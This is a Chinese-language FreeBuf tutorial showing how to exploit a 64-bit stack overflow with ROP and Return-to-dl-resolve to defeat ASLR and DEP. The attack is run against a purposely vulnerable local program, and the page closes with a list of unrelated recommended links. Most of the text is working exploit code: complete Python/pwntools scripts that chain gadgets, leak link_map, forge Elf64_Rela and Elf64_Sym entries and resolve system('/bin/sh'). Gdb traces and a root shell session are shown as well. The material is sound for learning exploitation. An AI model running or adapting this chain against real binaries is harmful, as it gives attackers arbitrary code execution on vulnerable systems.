在64位系统中使用ROP+Return-to-dl-resolve来绕过ASLR+DEP

前上一篇文章中,我们研究了在32位环境下的Return-to-dl-resolve技术,这篇就来讨论一下64位环境下的Return-to-dl-resolve技术,有些地方存在较大差异,仅供参考。

Environment

root@kaliSevie:~/Desktop# uname -a
Linux kaliSevie 4.4.0-kali1-amd64 #1 SMP Debian 4.4.6-1kali1 (2016-03-18) x86_64 GNU/Linux

root@kaliSevie:~/Desktop# lsb_release -a
No LSB modules are available.
Distributor ID:    Kali
Description:    Kali GNU/Linux Rolling
Release:    kali-rolling
Codename:    kali-rolling

root@kaliSevie:~/Desktop# gcc -v
gcc version 6.3.0 20170321 (Debian 6.3.0-11)

Vulnerable code

/ bof.c /
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    / pop rdi; ret; pop rsi; ret; pop rdx; ret; /
    char cheat[] = "\x5f\xc3\x5e\xc3\x5a\xc3";
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

编译程序并且打开系统的ASLR:

root@kaliSevie:~/Desktop# gcc -no-pie -fno-stack-protector bof.c -o bof
root@kaliSevie:~/Desktop# cat /proc/sys/kernel/randomize_va_space
2
root@kaliSevie:~/Desktop# checksec bof
[] '/root/Desktop/bof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Difference in x64

首先在x64下,函数的参数是通过寄存器传递的,而不是通过栈,所以在构造ROP时,要把参数放到对应寄存器中,看看read函数参数情况:

 RDX  0x8
RDI  0x0
 RSI  0x7fffffffe4cc ◂— 0x0

   0x400563 <main+29>    mov    edx, 8
   0x400568 <main+34>    mov    rsi, rax
   0x40056b <main+37>    mov    edi, 0
 ► 0x400570 <main+42>    call   read@plt
        fd: 0x0
        buf: 0x7fffffffe4cc ◂— 0x0
        nbytes: 0x8

看到实际上是read(rdi, rsi, rdx),三个寄存器的值对应了三个参数。

write函数参数情况:

 RDX  0xc8
RDI  0x1
 RSI  0x7fffffffe4d0 ◂— 0x4141414141414141 ('AAAAAAAA')

   0x400592 <main+76>            lea    rax, [rbp - 0x70]
   0x400596 <main+80>            mov    rsi, rax
   0x400599 <main+83>            mov    edi, 1
 ► 0x40059e <main+88>            call   write@plt         <0x400430>
        fd: 0x1
        buf: 0x7fffffffe4d0 ◂— 0x4141414141414141 ('AAAAAAAA')
        n: 0xc8

所以在构造ROP链时与x86下有些不同。

return-to-dl-resolve

call write@plt

首先还是先直接调用write@plt试试,和上一篇基本相同,只是相对应改成64位下的字长,代码如下:

import sys
import struct
from subprocess import Popen, PIPE

def p64(x):

    return struct.pack("<Q", x)

offset = 120

addr_write_plt = 0x0000000000400430
addr_read_plt = 0x0000000000400440
addr_bss = 0x0000000000601038
addr_relplt = 0x4003d0
addr_plt = 0x0000000000400420
addr_dynsym = 0x4002b8
addr_dynstr = 0x400330

addr_pop_rbp = 0x00000000004004b0 # pop rbp ; ret
addr_pop_rdi = 0x0000000000400551 # pop rdi ; ret
addr_pop_rdx = 0x0000000000400559 # pop rdx ; ret
addr_pop_rsi = 0x0000000000400553 # pop rsi ; ret
addr_leave_ret = 0x00000000004005a8 # leave ; ret

stack_size = 0x800
base_stage = addr_bss + stack_size

buf1 = "A"  offset
buf1 += p64(addr_pop_rdi)
buf1 += p64(0)
buf1 += p64(addr_pop_rsi)
buf1 += p64(base_stage)
buf1 += p64(addr_pop_rdx)
buf1 += p64(200)
buf1 += p64(addr_read_plt)
buf1 += p64(addr_pop_rbp)
buf1 += p64(base_stage)
buf1 += p64(addr_leave_ret)

p = Popen(['./bof'], stdin=PIPE, stdout=PIPE)

p.stdin.write(p64(len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

cmd = "/bin/sh"

buf2 = "A"  8
buf2 += p64(addr_pop_rdi)
buf2 += p64(1)
buf2 += p64(addr_pop_rsi)
buf2 += p64(base_stage + 80)
buf2 += p64(addr_pop_rdx)
buf2 += p64(len(cmd))
buf2 += p64(addr_write_plt)
buf2 += "A"  (80 - len(buf2))
buf2 += cmd + "\x00"
buf2 += "A"  (200 - len(buf2))

p.stdin.write(buf2)
print "[+] read: %r" % p.stdout.read(100)
# print p64(len(buf1)) + buf1 + buf2

运行结果:

root@kaliSevie:~/Desktop# python bof.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\xb0\x04@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\x05@\x00\x00\x00\x00\x00'
[+] read: '/bin/sh'

Relocation directly

x64下,与_dl_runtime_resolve相关的两个结构体定义有所不同:

typedef uint64_t Elf64_Xword;
typedef int64_t  Elf64_Sxword;
typedef uint64_t Elf64_Addr;
typedef uint32_t Elf64_Word;

typedef struct
{
  Elf64_Addr    r_offset;        / Address /
  Elf64_Xword    r_info;            / Relocation type and symbol index /
  Elf64_Sxword    r_addend;        / Addend /
} Elf64_Rela;

#define ELF64_R_SYM(i)            ((i) >> 32)
#define ELF64_R_TYPE(i)            ((i) & 0xffffffff)

typedef struct
{
  Elf64_Word    st_name;        / Symbol name (string tbl index) /
  unsigned char    st_info;        / Symbol type and binding /
  unsigned char st_other;        / Symbol visibility /
  Elf64_Section    st_shndx;        / Section index /
  Elf64_Addr    st_value;        / Symbol value /
  Elf64_Xword    st_size;        / Symbol size /
} Elf64_Sym;

read函数为例,看看内存中数据是什么。

通过文件我们知道.rel.plt地址为0x4003d0,大小为48 (bytes),每一项24 (bytes),也就是两项,readwrite:

root@kaliSevie:~/Desktop# readelf -d bof | grep REL
 0x0000000000000002 (PLTRELSZ)           48 (bytes)
 0x0000000000000014 (PLTREL)             RELA
 0x0000000000000017 (JMPREL)             0x4003d0
 0x0000000000000007 (RELA)               0x4003a0
 0x0000000000000008 (RELASZ)             48 (bytes)
 0x0000000000000009 (RELAENT)            24 (bytes)

gdb查看readElf64_Rela:

pwndbg> x/3gx 0x4003d0+24
0x4003e8:    0x0000000000601020    0x0000000200000007
0x4003f8:    0x0000000000000000

文件的Elf64_Sym位置,每一项是24 (bytes):

root@kaliSevie:~/Desktop# readelf -d bof | grep SYM
 0x0000000000000006 (SYMTAB)             0x4002b8
 0x000000000000000b (SYMENT)             24 (bytes)

readElf64_Sym结构体在SYMTAB[r_info >> 32]=SYMTAB[2]:

pwndbg> x/6wx 0x4002b8+48
0x4002e8:    0x0000000b    0x00000012    0x00000000    0x00000000
0x4002f8:    0x00000000    0x00000000

再通过STRTAB找到read字符串:

root@kaliSevie:~/Desktop# readelf -d bof | grep STR
 0x0000000000000005 (STRTAB)             0x400330
 0x000000000000000a (STRSZ)              67 (bytes)

pwndbg> x/s 0x400330+0xb
0x40033b:    "read"

修改代码的部分:

...
...
addr_reloc = base_stage + 64
reloc_offset = 0x0

cmd = "/bin/sh"

buf2 = "A"  8
buf2 += p64(addr_pop_rdi)
buf2 += p64(1)
buf2 += p64(addr_pop_rsi)
buf2 += p64(base_stage + 80)
buf2 += p64(addr_pop_rdx)
buf2 += p64(len(cmd))
buf2 += p64(addr_plt)
buf2 += p64(reloc_offset)
buf2 += "A"  (80 - len(buf2))
buf2 += cmd + "\x00"
buf2 += "A"  (200 - len(buf2))

p.stdin.write(buf2)
print "[+] read: %r" % p.stdout.read(100)

运行:

[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\xb0\x04@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\x05@\x00\x00\x00\x00\x00'
[+] read: '/bin/sh'

Make fake Elf64_Rela structure

64位下,Elf64_Rel是通过下面的方式找到的,所以选择的地址也需要对齐:

Elf64_Rel reloc = JMPREL + reloc_offset  0x18

先填入原来结构体内的内容,修改后的代码:

...
...
addr_reloc = base_stage + 120
#reloc_offset = 0x0
reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_offset = addr_write_got
r_info = 0x0000000100000007
r_addend = 0

cmd = "/bin/sh"

buf2 = "A"  8
buf2 += p64(addr_pop_rdi)
buf2 += p64(1)
buf2 += p64(addr_pop_rsi)
buf2 += p64(base_stage + 80)
buf2 += p64(addr_pop_rdx)
buf2 += p64(len(cmd))
buf2 += p64(addr_plt)
buf2 += p64(reloc_offset)
buf2 += "A"  (80 - len(buf2))
buf2 += cmd + "\x00"
buf2 += "A"  (120 - len(buf2))
buf2 += p64(r_offset)
buf2 += p64(r_info)
buf2 += p64(r_addend)
buf2 += "A"  (200 - len(buf2))

p.stdin.write(buf2)
print "[+] read: %r" % p.stdout.read(100)

结果:

[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\xb0\x04@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\x05@\x00\x00\x00\x00\x00'
[+] read: '/bin/sh'

Make fake Elf64_Sym structure

由以下公式找到write的结构体:

Elf64_Sym sym = &SYMTAB[((reloc->r_info)>>0x20)]
=>
sym = &SYMTAB[0x0000000100000007>>0x20] = &SYMTAB[1] = 0x4002b8 + 24

内存查看:

pwndbg> x/6wx 0x4002b8+24
0x4002d0:    0x00000022    0x00000012    0x00000000    0x00000000
0x4002e0:    0x00000000    0x00000000
pwndbg> x/s 0x400330+0x22
0x400352:    "write"

按照之前的方式修改代码:

...
...
addr_reloc = base_stage + 120
reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_offset = addr_write_got
r_addend = 0
addr_sym = addr_reloc + 24
padding_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += padding_dynsym
st_name = 0x00000022

r_info = (((addr_sym - addr_dynsym) / 0x18) << 0x20) | 0x7
#r_info = 0x0000000100000007
cmd = "/bin/sh"
addr_cmd = base_stage + 180

buf2 = "A"  8
buf2 += p64(addr_pop_rdi)
buf2 += p64(1)
buf2 += p64(addr_pop_rsi)
buf2 += p64(addr_cmd)
buf2 += p64(addr_pop_rdx)
buf2 += p64(len(cmd))
buf2 += p64(addr_plt)
buf2 += p64(reloc_offset)
buf2 += "A"  (120 - len(buf2))
buf2 += p64(r_offset)    # Elf64_Rela
buf2 += p64(r_info)
buf2 += p64(r_addend)
buf2 += "A"  padding_dynsym
buf2 += p32(st_name)     # Elf64_Sym
buf2 += p32(0x00000012)
buf2 += p64(0)
buf2 += p64(0)
buf2 += "A"  (180 - len(buf2))
buf2 += cmd + "\x00"
buf2 += "A"  (200 - len(buf2))

p.stdin.write(buf2)
print "[+] read: %r" % p.stdout.read(100)

发现并不能成功,我们可以把要输入的字符串放在一个文件中然后用gdb调试程序:

root@kaliSevie:~/Desktop# python bof.py > input
root@kaliSevie:~/Desktop# gdb
pwndbg> file bof
Reading symbols from bof...(no debugging symbols found)...done.
pwndbg> b main
Breakpoint 1 at 0x40054a
pwndbg> r < input

单步跟随ROP链,发现在_dl_fixup中引发了Segmentation fault:

RAX: 0x400374 --> 0x2000200020000
RCX: 0x1564100000007
RDX: 0x15641

   0x7ffff7de7c31 <_dl_fixup+113>:    mov    rax,QWORD PTR [rax+0x8]
=> 0x7ffff7de7c35 <_dl_fixup+117>:    movzx  eax,WORD PTR [rax+rdx2]
   0x7ffff7de7c39 <_dl_fixup+121>:    and    eax,0x7fff
...

pwndbg> x/x $rax+$rdx2
0x42aff6:    Cannot access memory at address 0x42aff6

这里RCX就是伪造的r_info值,而RCX值过大,导致无法读取内存,引发了错误,我们往前看代码:

   0x00007ffff7de7c21 <+97>:    mov    rax,QWORD PTR [r10+0x1c8]
   0x00007ffff7de7c28 <+104>:    test   rax,rax
   0x00007ffff7de7c2b <+107>:    je     0x7ffff7de7ce0 <_dl_fixup+288>
   0x00007ffff7de7c31 <+113>:    mov    rax,QWORD PTR [rax+0x8]
=> 0x00007ffff7de7c35 <+117>:    movzx  eax,WORD PTR [rax+rdx2]

对应的C代码:

const struct r_found_version version = NULL;

if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)   // [r10+0x1c8] != 0
{
  const ElfW(Half) vernum = (const void ) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
  version = &l->l_versions[ndx];
  if (version->hash == 0)
    version = NULL;
}

发现有个je可以跳过这一段代码,只要[r10+0x1c8]处的值为0就可以跳过,再往前看,发现只有函数开头mov r10,rdi改变了r10的值,然后都不会改变,r10的值是个特殊的值:

pwndbg> x/2gx 0x601000
0x601000:    0x0000000000600e20    0x00007ffff7ffe170
pwndbg> p $r10
$1 = 0x7ffff7ffe170

0x601000GOT表起始地址,之前说过,第二个元素是link_map的起始地址,所以我们的目的就是更改link_map+0x1c8处的值为0,由于开启了ASLR,所以还需要泄露link_map的地址。

Get shell

泄露link_map地址的方法就是在最前面先调用addr_write_plt,把link_map的地址打出来,由于我这里用之前的方法收到shell时发现命令能够执行但是输入字符不显示:

root@kaliSevie:~/Desktop# python bof.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\x05@\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x000\x04@\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\xb0\x04@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\x05@\x00\x00\x00\x00\x00'
[+] addr_link_map = 0x7f178d3d0170
# uid=0(root) gid=0(root) groups=0(root)

这里用pwntools改写一下,完整程序:

import sys
import struct
from subprocess import Popen, PIPE
from pwn import 

offset = 120

addr_write_plt = 0x0000000000400430
addr_read_plt = 0x0000000000400440
addr_bss = 0x0000000000601038
addr_relplt = 0x4003d0
addr_plt = 0x0000000000400420
addr_got = 0x0000000000601000
addr_dynsym = 0x4002b8
addr_dynstr = 0x400330
addr_write_got = 0x0000000000601018
addr_read_got = 0x0000000000601020

addr_pop_rbp = 0x00000000004004b0 # pop rbp ; ret
addr_pop_rdi = 0x0000000000400551 # pop rdi ; ret
addr_pop_rdx = 0x0000000000400559 # pop rdx ; ret
addr_pop_rsi = 0x0000000000400553 # pop rsi ; ret
addr_leave_ret = 0x00000000004005a8 # leave ; ret

stack_size = 0x800
base_stage = addr_bss + stack_size

buf1 = "A"  offset
buf1 += p64(addr_pop_rdi)
buf1 += p64(1)
buf1 += p64(addr_pop_rsi)
buf1 += p64(addr_got + 8)
buf1 += p64(addr_pop_rdx)
buf1 += p64(8)
buf1 += p64(addr_write_plt)
buf1 += p64(addr_pop_rdi)
buf1 += p64(0)
buf1 += p64(addr_pop_rsi)
buf1 += p64(base_stage)
buf1 += p64(addr_pop_rdx)
buf1 += p64(200)
buf1 += p64(addr_read_plt)
buf1 += p64(addr_pop_rbp)
buf1 += p64(base_stage)
buf1 += p64(addr_leave_ret)

p = process("./bof")

p.send(p64(len(buf1)))
p.send(buf1)
print "[+] read: %r" % p.recv(len(buf1))
addr_link_map = u64(p.recv(8))
print "[+] addr_link_map = %s" % hex(addr_link_map)

addr_reloc = base_stage + 120
reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_offset = addr_write_got
r_addend = 0
addr_sym = addr_reloc + 24
padding_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += padding_dynsym

addr_symstr = addr_sym + 24

r_info = (((addr_sym - addr_dynsym) / 0x18) << 0x20) | 0x7
cmd = "/bin/sh"
addr_cmd = addr_symstr + 7
st_name = addr_symstr - addr_dynstr

buf2 = "A"  8
buf2 += p64(addr_pop_rdi)
buf2 += p64(0)
buf2 += p64(addr_pop_rsi)
buf2 += p64(addr_link_map + 0x1c8)
buf2 += p64(addr_pop_rdx)
buf2 += p64(8)
buf2 += p64(addr_read_plt)
buf2 += p64(addr_pop_rdi) # system args
buf2 += p64(addr_cmd)
buf2 += p64(addr_plt)
buf2 += p64(reloc_offset)
buf2 += "A"  (120 - len(buf2))
buf2 += p64(r_offset)    # Elf64_Rela
buf2 += p64(r_info)
buf2 += p64(r_addend)
buf2 += "A"  padding_dynsym
buf2 += p32(st_name)     # Elf64_Sym
buf2 += p32(0x00000012)
buf2 += p64(0)
buf2 += p64(0)
buf2 += "system\x00"
buf2 += cmd + "\x00"
buf2 += "A"  (200 - len(buf2))

p.send(buf2)
p.send(p64(0))
p.interactive()

运行:

root@kaliSevie:~/Desktop# python bof.py
[+] Starting local process './bof': pid 17083
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\x05@\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x000\x04@\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\x05@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00Y\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\xb0\x04@\x00\x00\x00\x00\x008\x18`\x00\x00\x00\x00\x00\xa8\x05@\x00\x00\x00\x00\x00'
[+] addr_link_map = 0x7ff780d15170
[] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)

总结

Return-to-dl-resolve是一种十分实用的技术,在没有libc库的情况下也能够取得函数地址,最终调用库函数。

refer: x64でROP stager + Return-to-dl-resolveによるASLR+DEP回避をやってみる

本文作者:pwdme,转载请注明来自 FreeBuf.COM

漫谈信息安全经理需要了解的国内外安全标准

猜您喜欢

下一代防火墙与传统防火墙、UTM的差别
新闻简介:没有笔记本禁止从欧盟现在;中国警告新的法律;美国国土安全部的错误赏金计划 http://news.chinacybersecurity.org/201705311772.html
郑州企业管理培训
网络安全法实施宣传
FILANTROPIKUM SUNRAINET
CIO站在信息技术驱动业务成功的角度看问题做决策,在非核心竞争力的信息安全意识培训系统建设方面,自己动手开发还是从外部采购产品服务?
网络安全公益短片防范社工电话诈骗